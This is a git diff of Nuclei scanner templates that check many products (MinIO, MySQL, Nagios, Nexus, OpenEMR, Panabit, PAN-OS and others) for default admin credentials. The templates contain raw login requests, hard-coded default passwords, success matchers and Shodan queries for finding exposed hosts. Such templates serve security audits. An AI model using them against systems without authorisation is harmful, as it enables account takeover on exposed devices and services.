a/poc/default/mantisbt-default-credential-8779.yaml b/poc/default/mantisbt-default-credential-8779.yaml index 9a5d0f2295..58cb63c201 100644 --- a/poc/default/mantisbt-default-credential-8779.yaml +++ b/poc/default/mantisbt-default-credential-8779.yaml @@ -6,12 +6,12 @@ info: description: A MantisBT default admin login was discovered. reference: - https://mantisbt.org/ + metadata: + shodan-query: title:"MantisBT" classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 - metadata: - shodan-query: title:"MantisBT" tags: mantisbt,default-login requests: - raw: diff --git a/poc/default/minio-default-login-8887.yaml b/poc/default/minio-default-login-8887.yaml new file mode 100644 index 0000000000..20fffbb250 --- /dev/null +++ b/poc/default/minio-default-login-8887.yaml @@ -0,0 +1,52 @@ +id: minio-default-login + +info: + name: Minio Default Login + author: pikpikcu + severity: medium + tags: default-login,minio + description: Minio default admin credentials were discovered. + reference: + - https://docs.min.io/docs/minio-quickstart-guide.html# + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cve-id: + cwe-id: CWE-522 + +requests: + - raw: + - | + POST /minio/webrpc HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"id":1,"jsonrpc":"2.0","params":{"username":"{{username}}","password":"{{password}}"},"method":"Web.Login"} + + payloads: + username: + - minioadmin + password: + - minioadmin + attack: pitchfork + + matchers-condition: and + matchers: + + - type: word + words: + - "Content-Type: application/json" + part: header + + - type: word + words: + - 'uiVersion' + - 'token' + part: body + condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/default/minio-default-password.yaml b/poc/default/minio-default-password.yaml index 7d2b90fde6..4ac148b55e 100644 --- a/poc/default/minio-default-password.yaml +++ b/poc/default/minio-default-password.yaml @@ -1,10 +1,8 @@ id: minio-default-password - info: name: Minio Default Password author: pikpikcu severity: medium - requests: - method: POST path: @@ -13,7 +11,6 @@ requests: Content-Type: application/json body: | {"id":1,"jsonrpc":"2.0","params":{"username":"minioadmin","password":"minioadmin"},"method":"Web.Login"} - - method: POST path: - "{{BaseURL}}/minio/webrpc" @@ -23,19 +20,16 @@ requests: {"id":1,"jsonrpc":"2.0","params":{"username":"minioadmin","password":"minioadmin"},"method":"web.Login"} matchers-condition: and matchers: - - type: word words: - "Content-Type: application/json" part: header - - type: word words: - 'uiVersion' - 'token' part: body condition: and - - type: status status: - 200 diff --git a/poc/default/mofi4500-default-login-8912.yaml b/poc/default/mofi4500-default-login-8912.yaml index 31203a5587..d13f599b45 100644 --- a/poc/default/mofi4500-default-login-8912.yaml +++ b/poc/default/mofi4500-default-login-8912.yaml @@ -1,16 +1,19 @@ id: mofi4500-default-login + info: name: MOFI4500-4GXeLTE-V2 Default Login author: pikpikcu severity: high + tags: mofi,default-login description: Mofi Network MOFI4500-4GXELTE wireless router default admin credentials were discovered. reference: - https://www.cleancss.com/router-default/Mofi_Network/MOFI4500-4GXELTE classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - tags: mofi,default-login + requests: - raw: - | @@ -19,17 +22,20 @@ requests: Content-Type: application/x-www-form-urlencoded username=root&password=admin + attack: pitchfork payloads: username: - root password: - admin + matchers-condition: and matchers: - type: word words: - "MOFI4500 - General - LuCI" + - type: status status: - 200 diff --git a/poc/default/mofi4500-default-login-8913.yaml b/poc/default/mofi4500-default-login-8913.yaml new file mode 100644 index 0000000000..3260fac23c --- /dev/null +++ b/poc/default/mofi4500-default-login-8913.yaml @@ -0,0 +1,33 @@ +id: mofi4500-default-login + +info: + name: MOFI4500-4GXeLTE-V2 Default Login + author: pikpikcu + severity: critical + tags: mofi,default-login + +requests: + - raw: + - | + POST /cgi-bin/luci/ HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username=root&password=admin + + attack: pitchfork + payloads: + username: + - root + password: + - admin + + matchers-condition: and + matchers: + - type: word + words: + - "MOFI4500 - General - LuCI" + + - type: status + status: + - 200 diff --git a/poc/default/mysql-default-login.yaml b/poc/default/mysql-default-login.yaml new file mode 100644 index 0000000000..687207551e --- /dev/null +++ b/poc/default/mysql-default-login.yaml @@ -0,0 +1,52 @@ +id: mysql-default-login + +info: + name: MySQL - Default Login + author: DhiyaneshDk,pussycat0x,ritikchaddha + severity: high + description: | + A MySQL service was accessed with easily guessed credentials. + metadata: + verified: true + max-request: 21 + shodan-query: "port:3306" + tags: js,mysql,default-login,network,fuzz + +javascript: + - pre-condition: | + var m = require("nuclei/mysql"); + var c = m.MySQLClient(); + c.IsMySQL(Host, Port); + + code: | + var m = require("nuclei/mysql"); + var c = m.MySQLClient(); + c.Connect(Host,Port,Username,Password) + + args: + Host: "{{Host}}" + Port: "3306" + User: "{{usernames}}" + Pass: "{{passwords}}" + + payloads: + usernames: + - root + - admin + - mysql + - test + passwords: + - root + - admin + - mysql + - test + - + attack: clusterbomb + + matchers: + - type: dsl + dsl: + - "response == true" + - "success == true" + condition: and +# digest: 4a0a004730450220733725a3093b270900d6688f205629ca6477122f4f7d69f53792848fee2c5b56022100e1bc0a82d4775f448f3ba233a51ec6c9d5730b3336a0bd4add33052537f6a8a7:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/default/nagios-default-credential.yaml b/poc/default/nagios-default-credential.yaml index 7b8500ff39..e582f205aa 100644 --- a/poc/default/nagios-default-credential.yaml +++ b/poc/default/nagios-default-credential.yaml @@ -11,6 +11,7 @@ requests: - "{{BaseURL}}/nagios/side.php" headers: Authorization: Basic bmFnaW9zYWRtaW46bmFnaW9zYWRtaW4= + matchers-condition: and matchers: - type: status diff --git a/poc/default/nagios-default-login-8994.yaml b/poc/default/nagios-default-login-8994.yaml deleted file mode 100644 index e1982ba865..0000000000 --- a/poc/default/nagios-default-login-8994.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: nagios-default-login -info: - name: Nagios Default Login - author: d3sca - severity: high - tags: nagios,default-login - reference: https://www.nagios.org -requests: - - raw: - - | - GET /nagios/side.php HTTP/1.1 - Host: {{Hostname}} - Authorization: Basic {{base64(username + ':' + password)}} - payloads: - username: - - nagiosadmin - - root - password: - - nagiosadmin - - nagiosxi - attack: pitchfork - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - 'Current Status' - - 'Reports' - condition: and diff --git a/poc/default/nagios-default-login.yaml b/poc/default/nagios-default-login.yaml deleted file mode 100644 index 0278ec660d..0000000000 --- a/poc/default/nagios-default-login.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: nagios-default-login -info: - name: Nagios Default Login - author: iamthefrogy - description: Nagios default admin credentials were discovered. - severity: high - tags: nagios,default-login - reference: https://www.nagios.org - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 -requests: - - raw: - - | - GET /nagios/side.php HTTP/1.1 - Host: {{Hostname}} - Authorization: Basic {{base64(username + ':' + password)}} - payloads: - username: - - nagiosadmin - - root - password: - - nagiosadmin - - nagiosxi - attack: pitchfork - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - 'Current Status' - - 'Reports' - condition: and - -# Enhanced by mp on 2022/03/10 diff --git a/poc/default/netsus-default-login-9058.yaml b/poc/default/netsus-default-login-9058.yaml deleted file mode 100644 index 746b8a73bb..0000000000 --- a/poc/default/netsus-default-login-9058.yaml +++ /dev/null @@ -1,45 +0,0 @@ -id: netsus-default-login - -info: - name: NetSUS Server Default Login - author: princechaddha - severity: high - description: NetSUS Server default admin credentials were discovered. - metadata: - shodan-query: 'http.title:"NetSUS Server Login"' - tags: netsus,default-login - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 - -requests: - - raw: - - | - POST /webadmin/index.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - loginwith=suslogin&username={{username}}&password={{password}}&submit= - attack: pitchfork - payloads: - username: - - webadmin - password: - - webadmin - - matchers-condition: and - matchers: - - type: word - part: header - words: - - 'Location: dashboard.php' - - 'PHPSESSID=' - condition: and - - - type: status - status: - - 302 - -# Enhanced by mp on 2022/03/10 diff --git a/poc/default/netsus-default-login-9060.yaml b/poc/default/netsus-default-login-9060.yaml index a936e4fb56..adee76136b 100644 --- a/poc/default/netsus-default-login-9060.yaml +++ b/poc/default/netsus-default-login-9060.yaml @@ -3,15 +3,9 @@ info: name: NetSUS Server Default Login author: princechaddha severity: high - description: NetSUS Server default admin credentials were discovered. metadata: shodan-query: 'http.title:"NetSUS Server Login"' tags: netsus,default-login - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 requests: - raw: - | @@ -37,5 +31,3 @@ requests: - type: status status: - 302 - -# Enhanced by mp on 2022/03/10 diff --git a/poc/default/nexus-default-login-9088.yaml b/poc/default/nexus-default-login-9088.yaml new file mode 100644 index 0000000000..3560137b42 --- /dev/null +++ b/poc/default/nexus-default-login-9088.yaml @@ -0,0 +1,46 @@ +id: nexus-default-login + +info: + name: Nexus Default Login + author: pikpikcu + severity: high + description: Nexus default admin credentials were discovered. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + max-request: 1 + tags: nexus,default-login + +http: + - raw: + - | + POST /service/rapture/session HTTP/1.1 + Host: {{Hostname}} + X-Nexus-UI: true + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + username={{base64(username)}}&password={{base64(password)}} + + payloads: + username: + - admin + password: + - admin123 + attack: pitchfork + + matchers-condition: and + matchers: + - type: status + status: + - 204 + + - type: word + words: + - "Server: Nexus" + - "NXSESSIONID" + part: header + condition: and + +# digest: 4b0a00483046022100c45ecf382aa007cfca38e5e787d1e06605e4f93544ee237e29ff85360421f772022100e22e8814df0f932a2b481ebca3ee6786b458639f31c7a37883b5fbc9d7e774af:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/nexus-default-login-9089.yaml b/poc/default/nexus-default-login-9089.yaml index 9b769c93c0..52f9a00602 100644 --- a/poc/default/nexus-default-login-9089.yaml +++ b/poc/default/nexus-default-login-9089.yaml @@ -3,11 +3,6 @@ info: name: Nexus Default Login author: pikpikcu severity: high - description: Nexus default admin credentials were discovered. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 tags: nexus,default-login requests: - raw: @@ -35,5 +30,3 @@ requests: - "NXSESSIONID" part: header condition: and - -# Enhanced by mp on 2022/03/10 diff --git a/poc/default/nps-default-login.yaml b/poc/default/nps-default-login-9144.yaml similarity index 100% rename from poc/default/nps-default-login.yaml rename to poc/default/nps-default-login-9144.yaml diff --git a/poc/default/nps-default-login-9145.yaml b/poc/default/nps-default-login-9145.yaml index 89a84520c3..ec2e9c00fa 100644 --- a/poc/default/nps-default-login-9145.yaml +++ b/poc/default/nps-default-login-9145.yaml @@ -1,10 +1,21 @@ id: nps-default-login + info: name: NPS Default Login author: pikpikcu severity: high + description: NPS default admin credentials were discovered. + reference: + - https://docs.microfocus.com/NNMi/10.30/Content/Administer/Hardening/confCC2b_pwd.htm + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + max-request: 1 tags: nps,default-login -requests: + +http: - raw: - | POST /login/verify HTTP/1.1 @@ -13,12 +24,14 @@ requests: Referer: {{Hostname}}/login/index username={{username}}&password={{password}} + payloads: username: - admin password: - 123 attack: pitchfork + matchers-condition: and matchers: - type: word @@ -26,12 +39,16 @@ requests: - "application/json" part: header condition: and + - type: word words: - '"msg": "login success"' - '"status": 1' part: body condition: and + - type: status status: - 200 + +# digest: 490a004630440220606c381c7362f49fbe0d2cd4cda89a9e4a210f0b5fd4b5d5fa2f3046f159dcce022001e59e9ab3ccf71662fdd228b0cb33a3afa348145c16b4f3a2336fe9e26c3fdb:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/octobercms-default-login-9192.yaml b/poc/default/octobercms-default-login-9192.yaml deleted file mode 100644 index a6822af271..0000000000 --- a/poc/default/octobercms-default-login-9192.yaml +++ /dev/null @@ -1,59 +0,0 @@ -id: octobercms-default-login -info: - name: OctoberCMS - Default Admin Discovery - author: princechaddha - severity: high - description: OctoberCMS default admin credentials were discovered. - reference: - - https://github.com/octobercms/october - - https://octobercms.com/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - metadata: - verified: true - shodan-query: http.component:"October CMS" - tags: octobercms,default-login,oss -requests: - - raw: - - | - GET /backend/backend/auth/signin HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - - | - POST /backend/backend/auth/signin HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - Content-Type: application/x-www-form-urlencoded - - _token={{token}}&postback=1&login={{username}}&password={{password}} - cookie-reuse: true - attack: clusterbomb - payloads: - username: - - admin - password: - - admin - - "" - matchers-condition: and - matchers: - - type: word - part: header - words: - - "october_session=" - - "admin_auth=" - condition: and - - type: status - status: - - 302 - extractors: - - type: regex - part: body - name: token - internal: true - group: 1 - regex: - - 'meta name="csrf\-token" content="([A-Za-z0-9]+)">' - -# Enhanced by mp on 2022/07/15 diff --git a/poc/default/octobercms-default-login-9193.yaml b/poc/default/octobercms-default-login-9193.yaml new file mode 100644 index 0000000000..c8f33662c7 --- /dev/null +++ b/poc/default/octobercms-default-login-9193.yaml @@ -0,0 +1,53 @@ +id: octobercms-default-login +info: + name: OctoberCMS Default Login + author: princechaddha + severity: high + description: OctoberCMS default administrator account credential. + reference: + - https://github.com/octobercms/october + - https://octobercms.com/ + metadata: + verified: true + shodan-query: http.component:"October CMS" + tags: octobercms,default-login,oss +requests: + - raw: + - | + GET /backend/backend/auth/signin HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + - | + POST /backend/backend/auth/signin HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + Content-Type: application/x-www-form-urlencoded + + _token={{token}}&postback=1&login={{username}}&password={{password}} + cookie-reuse: true + attack: clusterbomb + payloads: + username: + - admin + password: + - admin + - "" + matchers-condition: and + matchers: + - type: word + part: header + words: + - "october_session=" + - "admin_auth=" + condition: and + - type: status + status: + - 302 + extractors: + - type: regex + part: body + name: token + internal: true + group: 1 + regex: + - 'meta name="csrf\-token" content="([A-Za-z0-9]+)">' diff --git a/poc/default/octobercms-default-login.yaml b/poc/default/octobercms-default-login.yaml index c8f33662c7..a6822af271 100644 --- a/poc/default/octobercms-default-login.yaml +++ b/poc/default/octobercms-default-login.yaml @@ -1,12 +1,16 @@ id: octobercms-default-login info: - name: OctoberCMS Default Login + name: OctoberCMS - Default Admin Discovery author: princechaddha severity: high - description: OctoberCMS default administrator account credential. + description: OctoberCMS default admin credentials were discovered. reference: - https://github.com/octobercms/october - https://octobercms.com/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 metadata: verified: true shodan-query: http.component:"October CMS" @@ -51,3 +55,5 @@ requests: group: 1 regex: - 'meta name="csrf\-token" content="([A-Za-z0-9]+)">' + +# Enhanced by mp on 2022/07/15 diff --git a/poc/default/ofbiz-default-credentials.yaml b/poc/default/ofbiz-default-credentials.yaml index 449c67c5b2..9c83c79a9d 100644 --- a/poc/default/ofbiz-default-credentials.yaml +++ b/poc/default/ofbiz-default-credentials.yaml @@ -1,11 +1,9 @@ id: ofbiz-default-credentials - info: name: Apache OfBiz Default Credentials author: pdteam severity: medium tags: ofbiz,default-login - requests: - method: POST path: @@ -18,4 +16,4 @@ requests: words: - "ofbiz-pagination-template" - "Powered by OFBiz" - condition: and \ No newline at end of file + condition: and diff --git a/poc/default/openemr-default-login-9269.yaml b/poc/default/openemr-default-login-9269.yaml index 5a08aa24f2..0d2f25a536 100644 --- a/poc/default/openemr-default-login-9269.yaml +++ b/poc/default/openemr-default-login-9269.yaml @@ -1,9 +1,8 @@ id: openemr-default-login - info: - name: OpenEMR Default Login + name: OpenEMR - Default Admin Discovery author: Geekby - description: OpenEMR default login was discovered. + description: OpenEMR default admin credentials were discovered. severity: high reference: - https://github.com/openemr/openemr-devops/tree/master/docker/openemr/6.1.0/#openemr-official-docker-image @@ -15,7 +14,6 @@ info: fofa-query: app="OpenEMR" shodan-query: http.html:"OpenEMR" tags: openemr,default-login - requests: - raw: - | @@ -24,14 +22,12 @@ requests: Content-Type: application/x-www-form-urlencoded new_login_session_management=1&languageChoice=1&authUser={{user}}&clearPass={{pass}}&languageChoice=10 - attack: pitchfork payloads: user: - admin pass: - pass - matchers-condition: and matchers: - type: word @@ -40,7 +36,8 @@ requests: - "main.php?token_main=" - "OpenEMR" condition: and - - type: status status: - 302 + +# Enhanced by mp on 2022/07/15 diff --git a/poc/default/openemr-default-login.yaml b/poc/default/openemr-default-login.yaml new file mode 100644 index 0000000000..5a08aa24f2 --- /dev/null +++ b/poc/default/openemr-default-login.yaml @@ -0,0 +1,46 @@ +id: openemr-default-login + +info: + name: OpenEMR Default Login + author: Geekby + description: OpenEMR default login was discovered. + severity: high + reference: + - https://github.com/openemr/openemr-devops/tree/master/docker/openemr/6.1.0/#openemr-official-docker-image + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + fofa-query: app="OpenEMR" + shodan-query: http.html:"OpenEMR" + tags: openemr,default-login + +requests: + - raw: + - | + POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + new_login_session_management=1&languageChoice=1&authUser={{user}}&clearPass={{pass}}&languageChoice=10 + + attack: pitchfork + payloads: + user: + - admin + pass: + - pass + + matchers-condition: and + matchers: + - type: word + part: header + words: + - "main.php?token_main=" + - "OpenEMR" + condition: and + + - type: status + status: + - 302 diff --git a/poc/default/openwrt-default-login.yaml b/poc/default/openwrt-default-login.yaml index 5bbbca6acc..50dd0fa3e5 100644 --- a/poc/default/openwrt-default-login.yaml +++ b/poc/default/openwrt-default-login.yaml @@ -1,18 +1,25 @@ id: openwrt-default-login + info: - name: Opentwrt Default Login + name: Opentwrt - Admin Login Page author: For3stCo1d severity: high + description: An Opentwrt admin login page was discovered. reference: - https://forum.archive.openwrt.org/viewtopic.php?id=16611 metadata: + max-request: 1 shodan-query: http.title:"OpenWrt - LuCI" - tags: openwrt,default-login -requests: + tags: default-login,openwrt + +http: - method: GET path: - "{{BaseURL}}/cgi-bin/luci" + matchers: - type: word words: - 'cgi-bin/luci/admin/system/admin' + +# digest: 4b0a004830460221008f900a97a3c80d4a01927a3363847754aeb95f5804553865aad9c956a45d07f0022100bb0a345862d115387483d56dce0d1d0933bb0cb118128dd0f23336373953ce30:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/operations-automation-default-page-9337.yaml b/poc/default/operations-automation-default-page-9337.yaml new file mode 100644 index 0000000000..d5287f7ace --- /dev/null +++ b/poc/default/operations-automation-default-page-9337.yaml @@ -0,0 +1,24 @@ +id: operations-automation-default-page + +info: + name: Operations Automation Default Page + author: dhiyaneshDK + severity: info + reference: + - https://www.shodan.io/search?query=http.title%3A%22ClearPass+Policy+Manager+-+Aruba+Networks%22 + tags: tech,default + +requests: + - method: GET + path: + - '{{BaseURL}}' + + matchers-condition: and + matchers: + - type: word + words: + - 'Operations Automation Default Page' + + - type: status + status: + - 200 diff --git a/poc/default/operations-automation-default-page-9338.yaml b/poc/default/operations-automation-default-page-9338.yaml index bd33f40fca..ca6290e3b6 100644 --- a/poc/default/operations-automation-default-page-9338.yaml +++ b/poc/default/operations-automation-default-page-9338.yaml @@ -3,8 +3,8 @@ info: name: Operations Automation Default Page author: dhiyaneshDK severity: info - metadata: - shodan-query: http.title:"Operations Automation Default Page" + reference: + - https://www.shodan.io/search?query=http.title%3A%22ClearPass+Policy+Manager+-+Aruba+Networks%22 tags: tech,default requests: - method: GET diff --git a/poc/default/panabit-default-login-9437.yaml b/poc/default/panabit-default-login-9437.yaml index b7da1ac7c5..720a8ce721 100644 --- a/poc/default/panabit-default-login-9437.yaml +++ b/poc/default/panabit-default-login-9437.yaml @@ -1,20 +1,20 @@ id: panabit-default-login - info: name: Panabit Gateway Default Login - author: pikpikcu + author: pikpikcu,ritikchaddha severity: high description: Panabit Gateway default credentials were discovered. - tags: panabit,default-login reference: - https://max.book118.com/html/2017/0623/117514590.shtm - https://en.panabit.com/wp-content/uploads/Panabit-Intelligent-Application-Gateway-04072020.pdf + - https://topic.alibabacloud.com/a/panabit-monitoring-installation-tutorial_8_8_20054193.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N cvss-score: 5.8 - cve-id: cwe-id: CWE-522 - + metadata: + fofa-query: app="Panabit-智能网关" + tags: panabit,default-login requests: - raw: - | @@ -27,31 +27,32 @@ requests: Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 ------WebKitFormBoundaryAjZMsILtbrBp8VbC - Content-Disposition: form-data; name="{{username}}" + Content-Disposition: form-data; name="username" - admin + {{username}} ------WebKitFormBoundaryAjZMsILtbrBp8VbC - Content-Disposition: form-data; name="{{password}}" + Content-Disposition: form-data; name="password" - panabit + {{password}} ------WebKitFormBoundaryAjZMsILtbrBp8VbC-- - payloads: username: - - username + - admin password: - - password + - panabit attack: pitchfork - matchers-condition: and matchers: - type: word + part: body words: - '' - 'urn:schemas-microsoft-com:vml' - part: body condition: and - + - type: word + part: header + words: + - "paonline_admin" - type: status status: - 200 diff --git a/poc/default/panabit-default-login-9438.yaml b/poc/default/panabit-default-login-9438.yaml index abdf165779..06d198deff 100644 --- a/poc/default/panabit-default-login-9438.yaml +++ b/poc/default/panabit-default-login-9438.yaml @@ -1,25 +1,11 @@ id: panabit-default-login - info: - name: Panabit Gateway - Default Login - author: pikpikcu,ritikchaddha - severity: critical - description: Panabit Gateway default credentials were discovered. - reference: - - https://max.book118.com/html/2017/0623/117514590.shtm - - https://en.panabit.com/wp-content/uploads/Panabit-Intelligent-Application-Gateway-04072020.pdf - - https://topic.alibabacloud.com/a/panabit-monitoring-installation-tutorial_8_8_20054193.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cwe-id: CWE-1391 - metadata: - verified: true - max-request: 1 - fofa-query: app="Panabit-智能网关" - tags: panabit,default-login,intrusive - -http: + name: Panabit Gateway Default Login + author: pikpikcu + severity: high + reference: https://max.book118.com/html/2017/0623/117514590.shtm + tags: panabit,default-login +requests: - raw: - | POST /login/userverify.cgi HTTP/1.1 @@ -31,38 +17,28 @@ http: Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 ------WebKitFormBoundaryAjZMsILtbrBp8VbC - Content-Disposition: form-data; name="username" + Content-Disposition: form-data; name="{{username}}" - {{username}} + admin ------WebKitFormBoundaryAjZMsILtbrBp8VbC - Content-Disposition: form-data; name="password" + Content-Disposition: form-data; name="{{password}}" - {{password}} + panabit ------WebKitFormBoundaryAjZMsILtbrBp8VbC-- - payloads: username: - - admin + - username password: - - panabit + - password attack: pitchfork - matchers-condition: and matchers: - type: word - part: body words: - '' - 'urn:schemas-microsoft-com:vml' + part: body condition: and - - - type: word - part: header - words: - - "paonline_admin" - - type: status status: - 200 - -# digest: 4a0a00473045022075094bb2f356017727cb91e86355f3b6b5dcdf65049358b63a7df818b8063afd022100f58a35a1e7a6e8d497b1942e33024ad52b3281bb6c8e32a87cb22bc319e78c9a:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/panabit-default-login-9440.yaml b/poc/default/panabit-default-login-9440.yaml deleted file mode 100644 index 720a8ce721..0000000000 --- a/poc/default/panabit-default-login-9440.yaml +++ /dev/null @@ -1,60 +0,0 @@ -id: panabit-default-login -info: - name: Panabit Gateway Default Login - author: pikpikcu,ritikchaddha - severity: high - description: Panabit Gateway default credentials were discovered. - reference: - - https://max.book118.com/html/2017/0623/117514590.shtm - - https://en.panabit.com/wp-content/uploads/Panabit-Intelligent-Application-Gateway-04072020.pdf - - https://topic.alibabacloud.com/a/panabit-monitoring-installation-tutorial_8_8_20054193.html - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N - cvss-score: 5.8 - cwe-id: CWE-522 - metadata: - fofa-query: app="Panabit-智能网关" - tags: panabit,default-login -requests: - - raw: - - | - POST /login/userverify.cgi HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAjZMsILtbrBp8VbC - Referer: {{BaseURL}}/login/login.htm - Accept-Encoding: gzip, deflate - Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 - - ------WebKitFormBoundaryAjZMsILtbrBp8VbC - Content-Disposition: form-data; name="username" - - {{username}} - ------WebKitFormBoundaryAjZMsILtbrBp8VbC - Content-Disposition: form-data; name="password" - - {{password}} - ------WebKitFormBoundaryAjZMsILtbrBp8VbC-- - payloads: - username: - - admin - password: - - panabit - attack: pitchfork - matchers-condition: and - matchers: - - type: word - part: body - words: - - '' - - 'urn:schemas-microsoft-com:vml' - condition: and - - type: word - part: header - words: - - "paonline_admin" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/10 diff --git a/poc/default/panabit-default-password.yaml b/poc/default/panabit-default-password.yaml index 1aff766c6b..f7fa2868bc 100644 --- a/poc/default/panabit-default-password.yaml +++ b/poc/default/panabit-default-password.yaml @@ -1,12 +1,10 @@ id: panabit-gateway-defalut-password - info: name: Panabit Default Password author: pikpikcu severity: high reference: https://max.book118.com/html/2017/0623/117514590.shtm tags: panabit,default-login - requests: - raw: - | @@ -30,7 +28,6 @@ requests: panabit ------WebKitFormBoundaryAjZMsILtbrBp8VbC-- - matchers-condition: and matchers: - type: word @@ -39,7 +36,6 @@ requests: - 'urn:schemas-microsoft-com:vml' part: body condition: and - - type: status status: - 200 diff --git a/poc/default/panabit-ixcache-default-login-9443.yaml b/poc/default/panabit-ixcache-default-login-9443.yaml index b1e035f966..6ca7af1572 100644 --- a/poc/default/panabit-ixcache-default-login-9443.yaml +++ b/poc/default/panabit-ixcache-default-login-9443.yaml @@ -1,17 +1,14 @@ id: panabit-ixcache-default-login info: - name: Panabit iXCache - Default Admin Login + name: Panabit iXCache Default Login author: ritikchaddha severity: high - description: Panabit iXCache default admin login credentials were successful. reference: - http://forum.panabit.com/thread-10830-1-1.html - metadata: - max-request: 1 - tags: default-login,ixcache,panabit + tags: ixcache,default-login,panabit -http: +requests: - raw: - | POST /login/userverify.cgi HTTP/1.1 @@ -19,15 +16,16 @@ http: username={{username}}&password={{password}} - attack: pitchfork payloads: username: - admin password: - ixcache + attack: pitchfork matchers-condition: and matchers: + - type: word part: body words: @@ -36,5 +34,3 @@ http: - type: status status: - 200 - -# digest: 4b0a00483046022100c220cc1239979a33a9fa0ff94786fb09f6d2899e97a21be24d458ee690bf2272022100f2539225eb3aaab67a45563f00a03398885b57ed3c0dac3d2b0f6f99e3c0395d:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/panabit-ixcache-default-login.yaml b/poc/default/panabit-ixcache-default-login.yaml new file mode 100644 index 0000000000..4045f6fd00 --- /dev/null +++ b/poc/default/panabit-ixcache-default-login.yaml @@ -0,0 +1,30 @@ +id: panabit-ixcache-default-login +info: + name: Panabit iXCache Default Login + author: ritikchaddha + severity: high + reference: + - http://forum.panabit.com/thread-10830-1-1.html + tags: ixcache,default-login,panabit +requests: + - raw: + - | + POST /login/userverify.cgi HTTP/1.1 + Host: {{Hostname}} + + username={{username}}&password={{password}} + payloads: + username: + - admin + password: + - ixcache + attack: pitchfork + matchers-condition: and + matchers: + - type: word + part: body + words: + - "URL=/cgi-bin/monitor.cgi" + - type: status + status: + - 200 diff --git a/poc/default/panos-default-login-9454.yaml b/poc/default/panos-default-login-9454.yaml index 9faa4ae474..d08faa6f8d 100644 --- a/poc/default/panos-default-login-9454.yaml +++ b/poc/default/panos-default-login-9454.yaml @@ -1,4 +1,5 @@ id: panos-default-login + info: name: Palo Alto Networks PAN-OS Default Login author: Techryptic (@Tech) @@ -6,11 +7,13 @@ info: description: Palo Alto Networks PAN-OS application default admin credentials were discovered. reference: - https://docs.paloaltonetworks.com/pan-os/8-1/pan-os-admin/getting-started/integrate-the-firewall-into-your-management-network/perform-initial-configuration.html#:~:text=By%20default%2C%20the%20firewall%20has,with%20other%20firewall%20configuration%20tasks. + tags: panos,default-login classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - tags: panos,default-login + requests: - raw: - | @@ -19,21 +22,25 @@ requests: Content-Type: application/x-www-form-urlencoded user={{username}}&passwd={{password}}&challengePwd=&ok=Login + attack: pitchfork payloads: username: - admin password: - admin + matchers-condition: and matchers: 